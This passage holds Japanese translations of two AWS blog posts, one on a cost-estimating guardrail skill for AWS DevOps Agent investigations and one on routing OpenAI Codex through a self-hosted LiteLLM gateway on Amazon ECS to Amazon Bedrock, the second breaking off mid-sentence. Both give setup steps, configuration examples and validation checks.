動詞に基づく分類は、レジストリに記載されていないサービスも含め、サービスを横断して機能します。Describe、List、Get、Lookup、Check、Validate、Tag、Untag はメタデータを返すもので、通常はデータスキャンの料金が発生しません。Query、Scan、Execute、Invoke、Insights などの動詞はデータを処理またはスキャンするため、課金対象として扱われます。多数のページにわたるページネーションを伴う広範な List や Describe の呼び出しには、注意フラグが付けられます。 Layer 2：既知の有料操作レジストリ 有料操作について、レジストリは、正確な計算式と、料金を取得するために使用する AWS Price List API のフィルターを保持しています。レジストリ自体は料金を保持しません。 Amazon CloudWatch （Logs Insights、GetMetricData、GetInsightRuleReport、Live Tail、スキャンされた PromQL サンプルを含む）、 AWS X-Ray 、 Amazon Athena 、 Amazon DynamoDB 、 Amazon S3 のリクエストが対象です。運用担当者は独自のエントリーでレジストリを拡張できます。 Layer 3：自己学習型のレスポンス検証 操作の実行後、スキルは BytesScanned 、 ConsumedCapacity 、 TracesProcessedCount など、課金対象の使用量を示すフィールドがレスポンスに含まれていないかを確認します。以前は未分類だった操作がこれらのフィールドのいずれかを返した場合、スキルは調査の残りの期間、その操作を課金対象として分類します。これにより、調査が進むにつれてカバレッジが向上します。 これらのレイヤーが連携することで、レジストリに記載されていないサービスの操作も含め、ほとんどの操作を動詞に基づいて分類できるように設計されています。レスポンス検証は、ルールが見落とした操作を検出するのに役立ちます。 リージョンごとのライブ料金 料金は AWS リージョンによって異なるため、基準料金を保持せず、見積もり時に AWS Price List API を使用して、ワークロードのリージョンの料金をリアルタイムで取得します。 リージョンはリソース ARN から取得されます。 各料金は pricing:GetProducts で検索され、ワークロードのリージョンを使って一致する料金が選択されます。 その結果、ワークロードが実行されるリージョンの現在の定価に基づくコスト見積もりが得られます。 クロスリージョンへの対応 対象リージョンが Agent Space のリージョンと異なる場合、スキルはデータ転送コストを追加します。特定の送信元から送信先までの経路に対応する料金をリアルタイムで取得し、経路ごとにキャッシュします。リージョン間の料金は地域によって大きく異なるため、一律の料金を仮定せず、その経路に対応する正確な料金を検索します。 判定ゲート 計画された呼び出しの分類、料金の取得、予算との照合が完了すると、ガードレールは次の 3 つの方法のいずれかで判定します。番号は、上の図 1 に示した結果に対応します。 Proceed（続行） ：見積もりが残りの予算内に収まっています。呼び出しは中断なく実行され、調査タイムラインにはステップごとの見積もりと累計額の両方が記録されます。 Warn（警告） ：呼び出しは予算内ですが、非効率の兆候が見られます。たとえば、広範な PromQL クエリ、単一サービスに対する 200 回以上の呼び出し、リージョン間の転送などです。ガードレールは呼び出しの実行を許可しつつ、時間枠の短縮、ラベルフィルター、ステップ間隔の拡大など、コスト効率の高い代替案を添えます。 Halt（停止） ：見積もりが残りの予算を超える場合、時間枠が指定されずにスキャンが要求された場合、またはライブ料金検索で料金を取得できなかった場合、呼び出しは実行されません。ガードレールは最悪ケースの見積もりを提示し、データをスキャンする前に指示を求めて一時停止します。 ガードレールが停止した場合は、必ず次に進むための方法を提案します。 正確なタイムスタンプ、またはより短い時間枠を指定する 特定の 1 つのサービスまたはロググループを対象にする 既知のエラーメッセージを指定する。これにより、エージェントは Logs Insights クエリの代わりに、GB 単位のスキャン料金が発生しない FilterLogEvents API で検索できる リージョン間の転送料金を避けるため、クエリを同一リージョンのソースに限定する シナリオ例 次のシナリオは、同じ決済ワークロードに対する 3 つのリクエストを示しています。いずれもエンジニアが DevOps Agent コンソールに入力したものです。課金対象の呼び出しを実行する前に、ガードレールは必ずライブ料金を取得し、コストを見積もり、調査ごとの予算 $10.00 と照合します。異なるのは結果だけです。見積もりは定価に基づいており、AWS 無料利用枠の適用分は含まれません。 シナリオ A：対象を絞り、時間枠を指定したリクエスト（続行） SRE は次のように依頼します。 「今日の 13:57～14:27 UTC に us-east-1 の payments-prod-alb で発生した 5xx エラーを調査してください」 30 分の時間枠が指定されているため、スキルは Amazon CloudWatch Logs Insights のスキャン量を算出できます。スキャン量は 1.34 GB で、ライブ料金は $0.005/GB なので、コストは $0.0067 です。$10.00 の予算内なので、クエリは実行され、調査が続行されます。 図 2：最初の課金対象呼び出し前にライブ料金、スキャン見積もり、予算チェックが実施され、その後、実際のコストを検証。実際のコストはリージョン、データ量、現在の料金によって異なります。 シナリオ B：1 か月分のデータを対象とする広範なリクエスト（停止して確認） クラウドアーキテクトは次のように依頼します。 「9 月全体の payments-api のすべての 5xx エラーと DynamoDB のスロットリングを相関分析してください」 スキャン対象は 2,673 GB、コストは $13.37 になるため、エージェントは開始前に停止し、料金付きの選択肢を提示します。追加の $3.37 を承認する、対象期間を 7 日間（$3.74）、24 時間（$0.54）、またはインシデントの時間枠（$0.007）に短縮する、データスキャン料金のないメトリクス相関を使用する、あるいはここで終了する、という選択肢です。この時点では、データは一切スキャンされていません。 図 3：エージェントは予算超過時に停止し、エンジニアが続行するための選択肢を料金付きで提示。実際のコストはリージョン、データ量、現在の料金によって異なります。 シナリオ C：有料スキャンを行わないよう指示したリクエスト（スキャン料金のない API に切り替え） DevOps エンジニアは次のように依頼します。 「02:45～03:15 UTC に payments-worker が payments-events-dlq へイベントを送信している理由を調べてください。今回は有料のスキャンを一切実行しないでください」 2 つの有料呼び出しについて料金が算出されます。ワーカーのロググループに対する Amazon CloudWatch Logs Insights クエリ（38.37 GB、$0.19）と、12 個のメトリクスを取得する GetMetricData バッチ（$0.004）です。どちらも予算内ですが、エンジニアが有料スキャンを除外したため、エージェントはデータスキャン料金のない代替手段に切り替えます。エラーが既知の文字列であるため FilterLogEvents を使用し、GetMetricData の代わりに、メトリクスを 1 つずつ取得する GetMetricStatistics を使用します。後者は AWS 無料利用枠の CloudWatch API リクエスト数に計上されます。その結果、checkout-api の新しいリリースによってイベントスキーマが変更されたことが判明しました。 図 4：予算内でもエンジニアの指示に従ってスキップし、Logs Insights クエリと GetMetricData バッチの代わりとなる、データスキャン料金のない呼び出しを表示。 より広いパターン：トークン予算からアクション予算へ このガードレールは、従量課金 API を呼び出す自律型 AI エージェントの設計パターンを示しています。エージェントは行動する前に、その行動にどれくらいの費用がかかるかを把握できます。 これは、AI エージェントの経済性を、トークン予算（推論のコスト）からアクション予算（実行のコスト）へと捉え直すものです。エージェントがツールへアクセスできる場合、真の価値が生まれるのは、エージェントが実行する下流のアクションです。その価値を事前に可視化することで、意図的かつ利用者が承認した予算へと変えることができます。 クラウドアーキテクトや SRE は、何年もかけてこの感覚を身につけます。コストガードレールにより、エージェントは初日からこの感覚を備え、一貫して適用します。午前 3 時のインシデント対応を含め、プレッシャーのかかる状況でも、この規律を維持できるように設計されています。 技術的な実装 このスキルは、コアエージェントを変更することなく、エージェントの既存のスキル階層へ組み込まれます。各調査の前に、次の手順で事前チェックとして実行されます。 エージェントによる探索結果（クエリを実行する予定のロググループ、メトリクス、トレース）を読み取る 計画された各操作を 4 つのレイヤーで分類する AWS Price List API からリージョンごとのライブ料金を取得する コストの完全な内訳とともに、構造化された判定（続行または一時停止）を返す 一時停止する場合は、スコープを絞るための具体的なガイダンスを提供する AWS DevOps Agent は、すべてのセッションに権限のガードレールを適用します。常時適用されるポリシーであるエージェントインストラクションと、オペレーターに明示的な承認を求めるダイレクテッドアクションを組み合わせることで、利用者が定義した境界内でエージェントを運用し続けることができます。 開始方法 Investigation Cost Guardrail は、AWS の GitHub 組織にあるオープンソースリポジトリ aws/tools-for-devops-agent で公開されており、AWS DevOps Agent サービスチームが管理しています。このリポジトリには、インポートしたり独自にカスタマイズしたりできる、コミュニティ作成のスキル、カスタムエージェント、MCP サーバーが含まれています。 前提条件 少なくとも 1 つの AWS アカウントが接続された AWS DevOps Agent の Agent Space Agent Space が引き受ける IAM ロールを更新する権限 手順 1：IAM 権限を付与する このスキルは、見積もり時に AWS Price List Query API を使用してすべての料金を取得します。接続されている各アカウントで、Agent Space が引き受ける IAM ロールに、次のポリシーをアタッチします。権限の詳細については、スキルの README にある Required IAM permissions を参照してください。 { "Version": "2012-10-17", "Statement": [ { "Sid": "ResolveLivePricing", "Effect": "Allow", "Action": "pricing:GetProducts", "Resource": "*" } ] } 手順 2：スキルをインストールする 次の 2 つの方法のいずれかで、スキルを Agent Space に追加します。 オプション A：GitHub 統合（チームに推奨） ： aws/tools-for-devops-agent をフォークするか、 skills/investigation-cost-guardrail/ ディレクトリを自分で管理するリポジトリにコピーし、Agent Space の GitHub 統合を通じてインポートします。これにより、スキルをバージョン管理下に置き、コミットを固定し、プルリクエストで SKILL.md の変更をレビューし、独自の検索パターンで references/pricing-reference.md を拡張できます。 オプション B：直接アップロード ：リポジトリからスキルを .zip としてダウンロードし、Agent Space コンソールでユーザー定義スキルとしてアップロードします。アーカイブでは、スキルディレクトリのルートに SKILL.md を置き、その隣に references/ フォルダーを配置する必要があります。 investigation-cost-guardrail/ ├── SKILL.md └── references/ └── pricing-reference.md 手順 3：スペースレベルの指示を追加する スキルは、説明とのマッチングに基づいてオンデマンドで読み込まれます。各調査でコストガードレールが読み込まれるようにするためには、Agent Space のインストラクションに次の内容を追加します。 “Before executing any tool call that interacts with AWS or third-party services, ALWAYS consult the cost guardrail skill to estimate cost and check budget. Never skip cost evaluation” 日本語訳：「AWS またはサードパーティーサービスとやり取りするツール呼び出しを実行する前に、コストの見積もりと予算の確認のため、必ずコストガードレールスキルを参照してください。コスト評価を決して省略しないでください」 これは、前述した 2 つの仕組みを組み合わせたものです。指示は常設命令であり、スキルはその命令によって呼び出される能力です。 手順 4：環境に合わせてしきい値を調整する このスキルには、調査ごとに $10.00 という保守的なデフォルト予算が設定されています。Agent Space の設定に自然言語の指示を追加するか、 SKILL.md ファイルを直接編集することで上書きできます。たとえば、「調査ごとの予算を $25.00 にしてください」と指定します。 スキルファイルを編集せずに、既知の有料操作レジストリを拡張したり、特定の操作に対する制御を強化したりすることもできます。 opensearch:Search を、1,000 リクエストあたり $0.01 の有料操作として扱う Athena クエリを実行する前に必ず承認を求める 手順 5：検証する ガードレールが有効であることを確認するため、2 つの調査を実行します。 最初に、データ量の多いロググループに対して時間枠を指定せず、たとえば「order-service のエラーを調査してください」という調査を開始します。エージェントは logs:StartQuery を実行する前に停止し、ロググループに保持されている全データ量から算出した最悪ケースの見積もりを提示し、時間枠または既知のエラー文字列を求めるはずです。 次に、時間枠を限定して繰り返します。「今日の 14:00～14:30 UTC に order-service で発生したエラーを調査してください」と入力します。調査タイムラインには、最初の課金対象呼び出しの前に予算ステータスブロックが表示され、各料金には、その料金がどのリージョン向けに取得されたかが明記され、調査が続行されるはずです。 COST CHECK Budget: $10.00 | Spent: $0.00000 | Next: 1 × logs:StartQuery (6.4 GB × $0.005/GB) → $0.03200 | Projected: $0.03200 WITHIN BUDGET Proceeding 最初の調査が一時停止せずに進んだ場合は、手順 3 のスペースレベルの指示が存在することを確認してください。2 つ目の調査が料金取得エラーで停止した場合は、 pricing:GetProducts のアクセス許可とツールポリシーにおける us-east-1 の許可を再確認してください。 クリーンアップ ガードレールと、それを支える設定を削除するには、セットアップ手順を元に戻します。 手順 3 で追加したスペースレベルの指示を Agent Space の指示から削除する Agent Space が引き受ける IAM ロールから、 pricing:GetProducts のインラインポリシー（および追加した読み取り専用のサイジングポリシー）を削除する Agent Space から Investigation Cost Guardrail スキルを削除する まとめ AWS DevOps Agent は自律的なイベント対応を実現します。その自律性にコスト意識を加えることで、チームは運用成熟度の次の段階へ進むことができます。つまり、利用者が定義した透明性のある予算内でインシデントを迅速に解決できます。 Investigation Cost Guardrail は、経験豊富なエンジニアが本能的に理解している原則、すなわち実行前にコストを評価するという原則を適用します。サービスを横断して操作を分類し、AWS Price List API からリージョンごとの現在の料金を取得して、調査コストを透明性があり、利用者が管理できる予算へと変えます。エージェントの速度を低下させるものではありません。エージェントにコスト判断力を与えるものです。 開始するには、GitHub の tools-for-devops-agent から Investigation Cost Guardrail スキルをクローンし、AWS DevOps Agent の設定に追加して、調査にコストを意識した事前チェックを導入してください。 新しいコスト分類や料金パターンについてアイデアがありますか。このガードレールは自由に拡張できます。 investigation-cost-guardrail をフォークし、チームが最も頻繁に実行する操作を追加して、独自の料金モデルを参照するようにしてください。構築したものを共有するには、Issue を作成するか、プルリクエストを送信してください。 Ines Attia Ines は AWS のテクニカルアカウントマネージャーです。エンタープライズのお客様と協力し、スケーラブルでレジリエントかつ Well-Architected なワークロードを設計しています。クラウドアーキテクチャに関する専門知識を生かし、オブザーバビリティと AIOps を運用上の優秀性の向上に適用し、技術上の選択をビジネス成果へ結び付けています。 Tipu Qureshi Tipu は AWS のシニアプリンシパルエンジニアで、DevSecOps 向けエージェンティック AI システムのフルスタック設計と実装を率いています。最先端の AI モデル、専門スキル、MCP ツールを活用する自律型エージェントを構築し、クラウド運用、開発者ワークフロー、カスタマーサポートを変革しています。15 年以上にわたり、運用上の優秀性への情熱を持って、多様な分散システムを大規模に設計、運用、構築してきました。 本ブログは、2026 年 10 月 6 日に公開された「 Control investigation costs before they start with AWS DevOps Agent 」の日本語訳です。翻訳はテクニカルアカウントマネージャーの日平が行いました。

本ブログは 2026 年 9 月 3 日に公開された AWS Blog “ Set up OpenAI ChatGPT Codex with LiteLLM on Amazon ECS and Amazon Bedrock ” を翻訳したものです。 OpenAI ChatGPT Codex と LiteLLM を組み合わせることで、生成 AI コーディングエージェントに対してエンタープライズ向けの一元的な制御を実現できます。これらのエージェントは、開発者によるリポジトリの理解、コードの記述、テストの実行、複数のステップからなるエンジニアリングタスクの完了を支援します。組織が個人による試験的な利用から、管理体制のもとでの導入へと移行するにつれて、チームにはモデルへのアクセスを制御し、使用量の帰属先を明確にするための一貫した方法が必要になります。また、予算とレート制限を適用し、モデルアクセス経路を監視する必要もあります。 OpenAI Codex (Codex) は、タスクループを開発者のワークステーション上で実行します。ローカルファイルを読み取り、ローカルのサンドボックスと承認設定の範囲内で、承認済みのツールを実行します。その場合でも、モデル推論は、お客様の AWS アカウント内のインフラストラクチャを経由するようにルーティングできます。 この記事では、お客様が運用する LiteLLM ゲートウェイを Amazon Elastic Container Service (Amazon ECS) にデプロイする手順を説明します。ゲートウェイを Amazon Bedrock 上の OpenAI モデルに接続し、ゲートウェイの Responses API を使用するように Codex を設定する方法を紹介します。また、セマンティックな継続 (semantic continuation)、ストリーミング、関数呼び出し (function calling) を検証する方法も紹介します。最後に、AWS IAM Identity Center による直接アクセスや、Portkey のようなマネージドゲートウェイの方が適しているケースについて説明します。 完全な実装は guidance-codex リポジトリ で公開されています。この記事で主に取り上げる構成については、「 LiteLLM on AWS quickstart 」の手順に従ってください。 ソリューションの概要 次のアーキテクチャでは、Codex と Amazon Bedrock の間に LiteLLM を配置します。LiteLLM は、モデル認証、ルーティング、予算、レート制限、ゲートウェイテレメトリを共通で管理するコントロールポイントになります。ローカルのタスクとツール実行のループは、引き続き Codex が担当します。 次の図は、開発者のワークステーションからゲートウェイを経由して Amazon Bedrock に到達し、再び戻ってくるまでのエンドツーエンドのリクエストフローを示しています。番号付きの 5 つのステップで、1 回のモデルターンがインフラストラクチャをどのように通過するかを確認してください。 図 1: Codex はモデルリクエストを LiteLLM 経由で送信し、ローカルのツール実行は引き続き開発者のワークステーション上で行われます リクエストフローは次の 5 つのステップで進みます。 Codex は、現在のタスクコンテキストと利用可能なツール定義を、ゲートウェイの /v1/responses エンドポイントに送信します。 Application Load Balancer と AWS WAF がネットワーク層とウェブ層の制御を適用したうえで、AWS Fargate 上の LiteLLM にリクエストを転送します。 LiteLLM は呼び出し元を認証し、設定されたモデルと利用量ポリシーを確認したうえで、ECS タスクロールを使用して Amazon Bedrock 上の承認済みモデルを呼び出します。 Amazon Bedrock は、テキストまたは関数呼び出しを LiteLLM 経由で返します。 モデルがツールの実行を要求した場合、Codex はサンドボックスと承認ポリシーの範囲内でそのツールをローカルで実行します。Codex は次の Responses リクエストでツールの実行結果を LiteLLM 経由で送信し、ループが続きます。 リファレンスデプロイでは、次のサービスも使用します。 LiteLLM の状態、使用状況、予算データを保存する Amazon Relational Database Service (Amazon RDS) for PostgreSQL ゲートウェイとスコープ付きキーのシークレットを保存する AWS Secrets Manager と、それらのシークレットを暗号化する AWS Key Management Service (AWS KMS) Amazon CloudWatch のログ、CloudWatch Container Insights、アラーム、デプロイのヘルス監視 イミュータブルなゲートウェイイメージを格納する Amazon Elastic Container Registry (Amazon ECR) オプションで利用できる AWS WAF のマネージド保護と、送信元 IP に基づくレート制限 この役割分担が重要です。ゲートウェイに AWS アカウント内の汎用シェルが与えられるわけではなく、Codex のローカル承認を置き換えるものでもありません。ゲートウェイが制御するのは、個々のモデルターンです。 このパターンで LiteLLM を使用する理由 LiteLLM は、API 互換のエンドポイントを通じて、モデルルーティング、仮想キー、予算、レート制限、使用状況テレメトリを提供するオープンソースの AI ゲートウェイです。このパターンでは、お客様が自身の AWS アカウント内で LiteLLM とそれを支えるインフラストラクチャを運用します。 ネイティブの AWS アイデンティティ、AWS Identity and Access Management (IAM) ポリシー、AWS CloudTrail のログでお客様の要件を満たせる場合は、Amazon Bedrock への直接アクセスが最もシンプルな選択肢です。開発者、チーム、モデルプロバイダーをまたいで一貫した追加の制御がシステムチームに必要な場合に、ゲートウェイが役立ちます。 次のような要件がある場合、お客様が自ら運用する選択肢として LiteLLM が有効です。 承認済みのモデルエイリアスのみを許可する ユーザー単位またはチーム単位のスコープ付きゲートウェイキーを発行する 厳格な予算上限と、1 分あたりのリクエスト数または 1 分あたりのトークン数の制限を適用する ルーティングとフォールバックのポリシーを一元化する アップストリームのモデルが共有の ECS タスクロールを使用する場合でも、ゲートウェイレベルでアイデンティティを保持する ゲートウェイ、データベース、ネットワーク、ログ、アップグレードプロセスを自身の AWS アカウント内で運用する 主なトレードオフは運用責任です。ゲートウェイの可用性、データベースのライフサイクル、バージョンのアップグレード、インシデント対応、キャパシティプランニングは、お客様のチームが担います。 Amazon ECS に Codex 用の LiteLLM ゲートウェイをデプロイする このセクションでは、LiteLLM ゲートウェイをデプロイして Amazon Bedrock に接続し、ゲートウェイ経由でリクエストを送信するように Codex を設定する手順を説明します。 前提条件 このウォークスルーには、次のものが必要です。 AWS アカウントと、仮想プライベートクラウド (VPC)、Amazon ECS、Elastic Load Balancing、Amazon RDS、Amazon ECR、AWS WAF、IAM、AWS KMS、Secrets Manager、CloudWatch の各リソースを作成する権限 デプロイ先の AWS リージョンにおける、Amazon Bedrock 上の選択した OpenAI モデルへのアクセス 認証済みプロファイルを設定した AWS コマンドラインインターフェイス (AWS CLI) バージョン 2 Buildx を含む Docker Codex CLI Python 3 HTTPS でデプロイする場合は、パブリックな Amazon Route 53 ホストゾーン、または同じリージョン内の既存の AWS Certificate Manager (ACM) 証明書 このウォークスルーは、米国東部 (バージニア北部) リージョン (us-east-1) で、ゲートウェイエイリアス openai.gpt-5.5 を使用して検証しました。このエイリアスは、LiteLLM の設定で bedrock_mantle/openai.gpt-5.5 にマッピングされています。利用できるモデルはアカウントとリージョンによって異なります。 コストに関する注意: このソリューションでは、Application Load Balancer、Fargate タスク、Amazon RDS、AWS WAF、ログ、モデル推論など、課金対象のリソースが作成されます。サンプルの VPC でもネットワーク料金が発生する場合があります。ご利用のリージョンの最新料金を確認し、ウォークスルーの完了後は「クリーンアップ」セクションの手順に従ってください。 Amazon ECS に LiteLLM をデプロイする リポジトリをクローンし、ローカルのデプロイ環境ファイルを作成します。 git clone https://github.com/openai-on-aws/guidance-codex.git cd guidance-codex git checkout feat/enterprise-gateway-readiness cp deployment/litellm/.env.deploy.example \ deployment/litellm/.env.deploy 実際の .env.deploy ファイルは Git の追跡対象外です。使用する AWS プロファイル、リージョン、送信元 CIDR、DNS または証明書の値を設定します。次の抜粋は、本番環境を想定した設定例です。 AWS_PROFILE=your-profile AWS_REGION=us-east-1 BEDROCK_REGION=us-east-1 ENABLE_TLS=true GATEWAY_DOMAIN_NAME=codex-gateway.example.com ROUTE53_HOSTED_ZONE_ID=Z0123456789EXAMPLE ALB_CERTIFICATE_ARN= ALLOWED_CIDR=203.0.113.10/32 ENABLE_WAF=true DB_MULTI_AZ=true DESIRED_COUNT=2 MIN_TASK_COUNT=2 MAX_TASK_COUNT=10 ALB_CERTIFICATE_ARN を ROUTE53_HOSTED_ZONE_ID の代わりに設定すると、既存の証明書を使用できます。お客様のランディングゾーンにデプロイする場合は、本番デプロイガイドの説明に従って、既存の VPC と、パブリック、プライベートアプリケーション、プライベートデータベースの各サブネットを個別に指定します。 読み取り専用の事前チェック (プリフライト) を実行します。 make litellm-check # Direct helper invocation used by Make: # deployment/scripts/litellm-stack.sh check 事前チェックでは、AWS CLI v2、AWS アイデンティティ、Docker、イミュータブルなイメージ参照、リージョンの一貫性、CIDR の制限、TLS の入力値、ローカルドキュメントのリンクを検証します。cfn-lint が利用可能な場合は、AWS CloudFormation の構文も検証します。 レビュー済みの LiteLLM イメージをビルドし、Amazon ECR にプッシュします。 CONFIRM_AWS_WRITE=1 make litellm-build # Direct helper invocation used by Make: # CONFIRM_AWS_WRITE=1 deployment/scripts/litellm-stack.sh build ビルドでは、ダイジェストで固定された LiteLLM ベースイメージを使用し、生成された ECR ダイジェストを Git の追跡対象外のローカル状態ファイルに記録します。CloudFormation には、変更可能なイメージタグではなく、イミュータブルなダイジェストが渡されます。内部的には、ヘルパーがイミュータブルな Amazon ECR リポジトリを作成または再利用し、Amazon ECR にサインインして docker buildx build --push を実行したうえで、プッシュされたイメージのダイジェストを取得します。 CloudFormation 変更セットを、実行せずに作成します。 make litellm-plan # Direct helper invocation used by Make: # deployment/scripts/litellm-stack.sh plan このコマンドは、ネットワークまたはゲートウェイのテンプレートに対して aws cloudformation deploy --no-execute-changeset を呼び出します。レビュー可能な変更セットが作成されますが、実行はされません。 変更セットをレビューしてから、デプロイします。 CONFIRM_AWS_WRITE=1 make litellm-deploy make litellm-status # Direct helper invocations used by Make: # CONFIRM_AWS_WRITE=1 deployment/scripts/litellm-stack.sh deploy # deployment/scripts/litellm-stack.sh status deploy ヘルパーは、ネットワークスタック、続いて LiteLLM ゲートウェイスタックに対して aws cloudformation deploy を実行します。status ヘルパーは aws cloudformation describe-stacks を実行し、スタックの状態と出力を表示します。 ECS サービスでは、デプロイサーキットブレーカーによるロールバックと Application Load Balancer のヘルスチェックを使用します。リファレンステンプレートでは、ターゲット追跡によるオートスケーリング、ログとデータの暗号化、RDS のバックアップ、ALB アクセスログ、運用アラームも設定されます。 お客様の環境では、 ENABLE_TLS=true を維持し、信頼できる DNS 名と ACM 証明書を使用したうえで、Application Load Balancer へのアクセスを承認済みの社内ネットワークまたは VPN の CIDR に制限してください。ECS タスクと Amazon RDS はプライベートサブネットに配置します。ECS タスクのポート 4000 や PostgreSQL のポート 5432 をパブリックに公開しないでください。 スコープ付きのゲートウェイアイデンティティを作成する LiteLLM のマスターキーを開発者に配布しないでください。代わりに、Git の追跡対象外のデプロイファイルで、ユーザーまたはチームのアイデンティティとポリシーを設定します。 CODEX_API_SECRET_ID=codex-litellm-gateway/alice-key CODEX_KEY_ALIAS=alice@example.com CODEX_KEY_USER_ID=alice@example.com CODEX_KEY_MODELS=gpt-5.5 CODEX_KEY_MAX_BUDGET=50 CODEX_KEY_BUDGET_DURATION=30d CODEX_KEY_TPM_LIMIT=100000 CODEX_KEY_RPM_LIMIT=1000 キーをプロビジョニングします。 CONFIRM_AWS_WRITE=1 make litellm-provision-key # Direct helper invocation used by Make: # CONFIRM_AWS_WRITE=1 deployment/scripts/litellm-stack.sh provision-key ヘルパーは子プロセス内でマスター認証情報を取得し、設定されたモデル、予算、レートのポリシーを指定して LiteLLM の /key/generate API を呼び出します。そのうえで、生成されたキーを AWS KMS で暗号化された Secrets Manager シークレットに直接書き込みます。どちらの認証情報も、コマンド引数に含めたり、ターミナルに出力したりすることはありません。 エンタープライズ規模で展開する場合は、各開発者のプロファイルに、割り当てられたスコープ付きキーのシークレットのみを読み取り、スタックの KMS キーで復号する権限を付与します。チームや環境ごとに、個別のシークレットパスと IAM ポリシーを使用してください。 Codex を設定する プロバイダーブロックを生成します。 make litellm-codex-config # Direct helper invocation used by Make: # deployment/scripts/litellm-stack.sh codex-config ヘルパーは、デプロイされたゲートウェイのエンドポイントを CloudFormation から読み取り、次の Codex プロバイダー設定を出力します。ユーザー設定に自動で書き込むことはありません。 出力内容を、ユーザーレベルの ~/.codex/ config.toml に追加します。プロバイダーと認証の設定は、ユーザーレベルの設定に記述する必要があります。プロジェクトローカルの .codex/ config.toml ファイルに記述しても、Codex はこれらの設定を無視します。 生成される設定は次のような形式です。 model = "gpt-5.5" model_provider = "litellm-gateway" web_search = "disabled" [model_providers.litellm-gateway] name = "LiteLLM Gateway" base_url = "https://codex-gateway.example.com/v1" wire_api = "responses" [model_providers.litellm-gateway.auth] command = "/absolute/path/to/python3" args = [ "/absolute/path/to/deployment/scripts/aws-secret-auth.py", "--aws-cli", "/absolute/path/to/aws", "--region", "us-east-1", "--secret-id", "codex-litellm-gateway/alice-key", "--field", "LITELLM_API_KEY", "--profile", "developer-profile", "print-token" ] timeout_ms = 30000 refresh_interval_ms = 300000 Codex は標準入力なしで認証コマンドを実行し、その標準出力からベアラートークンを読み取ります。ヘルパーは名前付きの AWS プロファイルを使用して最新のシークレットを取得するため、トークンが config.toml に保存されることはありません。 LiteLLM の管理 UI の [Models + Endpoints] には、開発者が利用できる安定したエイリアスと、各エイリアスからアップストリームの Amazon Bedrock モデルへのマッピングが表示されます。これにより、開発者が Codex の設定をプロバイダー固有のモデル ID に直接結び付けるのではなく、ゲートウェイエイリアスを参照していることを、画面上ですばやく確認できます。 次の図は、2 つのモデルエイリアスが設定された [Models + Endpoints] ページを示しています。Codex の設定に進む前に、このリストにゲートウェイエイリアスが表示されていることを確認してください。 図 2: モデル管理ビューには、gpt-5.4 と gpt-5.5 のエイリアスと、それぞれの Amazon Bedrock Mantle へのマッピングが表示されます LiteLLM 経由で Codex をテストする 新しい対話型の Codex セッションを開始し、 /status を使用して、 litellm-gateway がプロバイダーとして選択されていることを確認します。再現可能な非対話型のテストとして、まず最小限のスモークリクエストを実行します。 codex exec --sandbox read-only --ephemeral \ "Reply with exactly LITELLM_GATEWAY_OK and no other text." コマンドが正常に終了し、 LITELLM_GATEWAY_OK が出力されれば成功です。次に、モデル推論とローカルツールの両方が必要なタスクで、エージェントループを動かしてみます。 codex exec --sandbox read-only --ephemeral \ "Read README.md with shell tools and summarize the deployment architecture. Do not modify files." Codex は、タスクとツール定義を LiteLLM 経由で送信します。モデルがファイルの読み取りを要求すると、Codex はそのコマンドをローカルで実行し、同じゲートウェイを通じてツールの実行結果を返します。 LiteLLM の管理 UI で [Logs] を開き、 [Request Logs] を選択して、テストを実施した時間帯で絞り込みます。次の点を確認します。 リクエストのステータスが Success であること キーエイリアスによって、ウォークスルー専用のキーまたは開発者のキーが識別されていること モデルが想定どおり Amazon Bedrock のモデルにマッピングされていること トークン数、リクエストの所要時間、コストが記録されていること Codex が後続の Responses リクエストでツールの実行結果を送信するため、ツールを使用するタスクで複数の行が作成されていること LiteLLM に行が記録される前に 403 レスポンスが返される場合、原因の多くはアップストリームのネットワークまたは AWS WAF によるブロックです。 401 レスポンスは、ゲートウェイの認証情報がないか、無効であることを示します。スクリーンショットには、プロンプト、レスポンス、生のキー、完全なリクエスト ID、実在する従業員を特定できる情報を掲載しないでください。 次の図は、複数の Codex リクエストがゲートウェイを正常に通過した後の LiteLLM の [Request Logs] ページを示しています。このページで、リクエストが Amazon Bedrock に到達していることを確認し、ステータスコードを手がかりにエラーのトラブルシューティングを行います。 図 3: リクエストログには、codex-walkthrough キーエイリアスに帰属する成功した Codex の各ターンが、モデル、コスト、所要時間、最初のトークンが返されるまでの時間とともに表示されます Responses API のコントラクトを検証する テキストプロンプトに正常な応答が返っても、エージェントワークフローとの互換性が証明されたことにはなりません。Codex は、基本的なチャット補完のレスポンスだけでなく、より多くの機能に依存しているためです。リポジトリに含まれている厳格なプローブを実行します。 make litellm-validate # Direct helper invocation used by Make: # deployment/scripts/litellm-stack.sh validate ヘルパーはスコープ付きキーを取得して子プロセスの環境に渡し、デプロイされたゲートウェイに対して deployment/scripts/ validate-responses-contract.py を実行します。 プローブでは、次の項目を検証します。 Responses オブジェクトの必須フィールドと出力の形式 previous_response_id を使用したセマンティックな継続 完了状態の最終レスポンスを含む Server-Sent Events のストリーミング 呼び出し ID を伴う関数ツールの強制呼び出し 継続テストでは、最初のレスポンスに一意のテストマーカーを記録し、後続のレスポンスでそのマーカーを参照できることを検証します。これにより、 previous_response_id を構文上は受け付けるものの、前のレスポンスの状態を保持しないゲートウェイを検出できます。 実際のデプロイ環境は、コントラクト全体の検証に合格しました。CloudFormation は正常に完了し、ECS サービスは必要なタスク数に到達し、デプロイのロールアウトも完了しました。また、ALB のターゲットは正常で、暗号化された PostgreSQL データベースは利用可能かつパブリックにアクセスできない状態でした。 次の図は、実際のウォークスルースタックから取得したエンドツーエンドのデプロイ検証ダッシュボードを示しています。全体の合否ステータスと、インフラストラクチャのヘルス、API コントラクトへの準拠、データ層の設定、セキュリティポスチャを確認する 4 つの詳細パネルに注目してください。 図 4: 検証出力により、AWS のデプロイが正常であることと、Codex が必要とする Responses API の動作を確認できます 検証スクリプトは互換性を確認するためのゲートであり、負荷テストではありません。本番環境に移行する前に、エージェントセッションの同時実行、長時間のストリーム、リクエストのキャンセル、キーの失効、障害からの復旧、想定されるピークトラフィックについてもテストしてください。 エンタープライズ利用に向けて LiteLLM の運用を整備する codex exec とコントラクトテストが成功したことで、Codex がゲートウェイを使用できることは確認できましたが、互換性は出発点にすぎません。開発者のオンボーディングを始める前に、ゲートウェイでモデルアクセスをどのように制御し、使用量の帰属先を明確にし、利用量ポリシーを適用し、各モデルリクエストの運用記録を残すかを定義します。 まず、開発者が使用できるモデルの範囲を決めます。組織が承認したモデルに対してのみ安定したゲートウェイエイリアスを公開し、各アップストリームのマッピングを deployment/litellm/ 